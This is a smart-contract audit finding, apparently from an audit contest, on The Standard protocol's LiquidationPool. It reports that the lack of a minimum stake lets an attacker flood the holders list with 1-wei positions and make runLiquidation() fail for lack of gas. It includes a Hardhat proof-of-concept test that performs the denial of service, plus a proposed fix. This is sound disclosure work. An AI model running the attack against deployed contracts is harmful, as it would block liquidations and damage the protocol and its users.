The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Lack of minimum stake value means user can DOS liquidations

Summary

Because there is no min value in increasePosition(); many small amounts can be added as stakes which malicious user can use to DOS runLiquidation() so they can't be liquidated. However this could also be used by a user to grief the protocol as it is not expensive to cary out but will cost a lot of gas to anyone who calls runLiquidation()

Vulnerability Details

In LiquidationPool::increasePosition() there is no minimum value for the amounts to be added; apart from a zero value check.

```
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {

=> require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
=> if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
=> if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
```
This means many many positions can be added for a single wei which will increase the size of the holders array that needs to be looped through in order to run runLiquidation(). In this way a user csn avoid being liquidated.

POC

To test, we need to update the code in 2 places:

  1. In hardhat.config.js update the code to config to increase the timeout:

    Config
    module.exports = {
    solidity: "0.8.17",
    gasReporter: {
    enabled: true,
    // currency: "USD",
    noColors: true,
    showTimeSpent: false,
    outputFile: "gas-report.txt",
    // coinmarketcap: process.env.COINMARKETCAP_API_KEY,
    },
    + mocha: {
    + timeout: 1000000,
    + },
    + networks: {
    + hardhat: {
    + accounts: {
    + count: 800,
    + },
    + },
    + },
    };
  2. Add this test to liquidationPoolManager.js and run:

    User creates positions to DOS liquidation
    it("add pending stakes to avoid liquidation OOG", async () => {
    const ethCollateral = ethers.utils.parseEther("0.05");
    await holder1.sendTransaction({
    to: SmartVaultManager.address,
    value: ethCollateral,
    });
    // malicious user mints EUROs & TST; increasing small positions in a loop
    const eurosStake = 1;
    const tstStake = 1;
    const approveAmount = 1;
    const signers = await ethers.getSigners();
    const holders = [];
    for (let i = 0; i < 500; i++) {
    holders.push(signers[i]);
    }
    for (let i = 0; i < holders.length; i++) {
    // mint tstStake to each signer
    await TST.mint(holders[i].address, tstStake);
    await TST.connect(holders[i]).approve(
    LiquidationPool.address,
    approveAmount
    );
    // mint eurosStake to each signer
    await EUROs.mint(holders[i].address, eurosStake);
    await EUROs.connect(holders[i]).approve(
    LiquidationPool.address,
    approveAmount
    );
    await LiquidationPool.connect(holders[i]).increasePosition(
    tstStake,
    eurosStake
    );
    }
    // Wait for a day for pending stakes to be added to positions
    await fastForward(DAY);
    // liquidation DOS's
    await LiquidationPoolManager.runLiquidation(TOKEN_ID);
    });

Impact

Malicious actors can add many stakes for 1 wei and brick liquidations in order to grief the protocol or to not be liquidated themselves. The attack would bary in its cost depending on how many existing hodlers there are; ,more holders means lower cost.

Tools Used

Manual Review
Hardhat Testing

Recommendations

Create a higher minimum amount to disincentivize malicious actors:

```diff

    function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
-       require(_tstVal > 0 || _eurosVal > 0);
+       require(_tstVal > 100 || _eurosVal > 100);
        consolidatePendingStakes();
        ILiquidationPoolManager(manager).distributeFees();
        if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
        if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
        pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
        addUniqueHolder(msg.sender);
    }

```
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.